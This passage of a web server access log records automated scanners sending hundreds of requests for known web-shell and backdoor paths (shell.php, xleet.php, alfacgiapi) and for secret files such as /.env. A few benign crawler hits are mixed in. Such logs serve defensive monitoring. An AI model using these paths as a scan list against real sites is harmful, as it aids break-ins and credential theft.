-0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:31 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:31 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:31 -0400] "GET /plugins/custom/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:31 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:31 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:31 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:31 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:32 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:32 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:32 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:32 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:32 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:32 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:33 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:33 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:33 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:33 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:33 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:33 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:34 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:34 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:34 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:34 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:34 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:34 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:35 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:35 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:35 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:35 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:35 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:35 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:36 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:36 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:36 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:36 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:36 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:36 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:37 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:37 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:37 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:37 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:37 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:37 -0400] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:37 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:38 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:38 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:38 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:38 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:38 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:39 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:39 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:39 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:39 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:40 -0400] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:40 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:40 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:40 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:41 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:41 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:41 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:41 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:41 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:41 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:42 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:42 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:42 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:42 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:42 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:42 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:43 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:43 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:43 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:43 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:43 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:44 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:44 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:44 -0400] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:44 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:45 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:45 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:45 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 13.82.230.242 - - [16/Apr/2025:19:50:45 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 167.94.138.48 - - [16/Apr/2025:20:03:03 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 2602:80d:1006::20 - - [16/Apr/2025:20:03:29 -0400] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 195.78.54.214 - - [16/Apr/2025:20:48:17 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 94.102.51.15 - - [16/Apr/2025:20:54:22 -0400] "GET / HTTP/1.1" 301 795 "designpitara.com" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MANM)" 66.249.64.163 - - [16/Apr/2025:21:15:48 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.64.164 - - [16/Apr/2025:21:15:49 -0400] "GET /e-commerce-website-service HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.7049.84 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 13.82.180.200 - - [16/Apr/2025:21:38:21 -0400] "GET /wp-content/ccx/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:21 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:21 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:21 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:22 -0400] "GET /wordpress/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:22 -0400] "GET /assets/fonts/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:22 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:22 -0400] "GET /wp-content/plugins/css-ready/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:22 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:22 -0400] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:23 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:23 -0400] "GET /wp-includes/Requests/Text/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:23 -0400] "GET /wp-content/themes/wp-classic/inc/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:23 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:23 -0400] "GET /wp-includes.bak/html-api/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:24 -0400] "GET /wp-admin/maint/maint/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:24 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:24 -0400] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:24 -0400] "GET /wp-admin/js//wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:24 -0400] "GET /wp/wp-includes/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:25 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:25 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:25 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:25 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:25 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:26 -0400] "GET /filemanager/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:26 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:26 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:26 -0400] "GET /wp-content/plugins/envato-market/inc/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:26 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:27 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:27 -0400] "GET /wp-content/themes/travel/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:27 -0400] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:27 -0400] "GET /img/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:27 -0400] "GET /wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:27 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:28 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:28 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:28 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:28 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:28 -0400] "GET /wp-content/plugins/widget-logic/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:29 -0400] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:29 -0400] "GET /wp-includes//wp-includes/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:29 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:29 -0400] "GET /wp-content/plugins/masterx/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:29 -0400] "GET /wp-content/plugins/custom/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:30 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:30 -0400] "GET /wp-content/plugins/yyobang/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:30 -0400] "GET /libraries/vendor/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:30 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:30 -0400] "GET /wp-content/blogs.dir/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:30 -0400] "GET /libraries/legacy/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:31 -0400] "GET /wp-content/uploads/2018/03/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:31 -0400] "GET /wp-content/plugins/press/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:31 -0400] "GET /libraries/phpmailer/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:31 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:31 -0400] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:32 -0400] "GET /wp-content/banners/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:32 -0400] "GET /.wp-cli/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:32 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:32 -0400] "GET /wp-content/plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:32 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:33 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:33 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:33 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:33 -0400] "GET /.well-known//.well-known/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:33 -0400] "GET /wp-includes/blocks/table/int/tmpl/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:34 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:34 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:34 -0400] "GET /wp/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:34 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:34 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:35 -0400] "GET /wp-content/themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:35 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:35 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:35 -0400] "GET /wp-content/uploads/2014/03/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:35 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:36 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:36 -0400] "GET /docs/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:36 -0400] "GET /wp-content/plugins/dzs-zoomsounds/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:36 -0400] "GET /wp-content/themes/ccx/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:36 -0400] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:37 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:37 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:37 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:37 -0400] "GET /wp-admin/maint/layout.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:37 -0400] "GET /wp-content/plugins/dmZcq9yohpy9bCw5Q9fNaH/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:38 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:38 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:38 -0400] "GET /wp-admin/css/file.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:38 -0400] "GET /wp-includes/ID3/2.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:38 -0400] "GET /gebase.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:39 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:39 -0400] "GET /cgi-bin/160263/wsoyanzv3.5enc.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:39 -0400] "GET /cux.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:39 -0400] "GET /wp-includes/fonts/install.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:39 -0400] "GET /wp-includes/PHPMailer/Send.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:40 -0400] "GET /wp-includes/pomo/pomo.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:40 -0400] "GET /.well-known/idupkfqa.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:40 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:40 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:40 -0400] "GET /wp-content/uploads/wpr-addons/forms/63490fd7e6.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:41 -0400] "GET /wp-includes/html-api/aj.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:41 -0400] "GET /class.api.php999 HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:41 -0400] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:41 -0400] "GET /wp-admin/css/colors/blue/lock.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:41 -0400] "GET /wp-content/themes/wp-pridmag/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:42 -0400] "GET /wp-content/wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:42 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:42 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:42 -0400] "GET /wp-admin/css/colors/ectoplasm/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:42 -0400] "GET /wp-content/plugins/oouxqal/ovacoczfz.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:43 -0400] "GET /wp-includes/Requests/vvEiCw.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:43 -0400] "GET /wp-includes/sitemaps/providers/buy.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:43 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:43 -0400] "GET /wp-admin/astab.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:43 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:44 -0400] "GET /.well-known/fmseuycg.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:44 -0400] "GET /wp-admin/includes/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:44 -0400] "GET /wp-includes/Text/Diff/gethostbyname.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:44 -0400] "GET /admin/editor/engine.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:44 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:45 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:45 -0400] "GET /wp-admin/includes/class-wp-dxqJeZ.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:45 -0400] "GET /wp-content/uploads/index1.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:45 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - 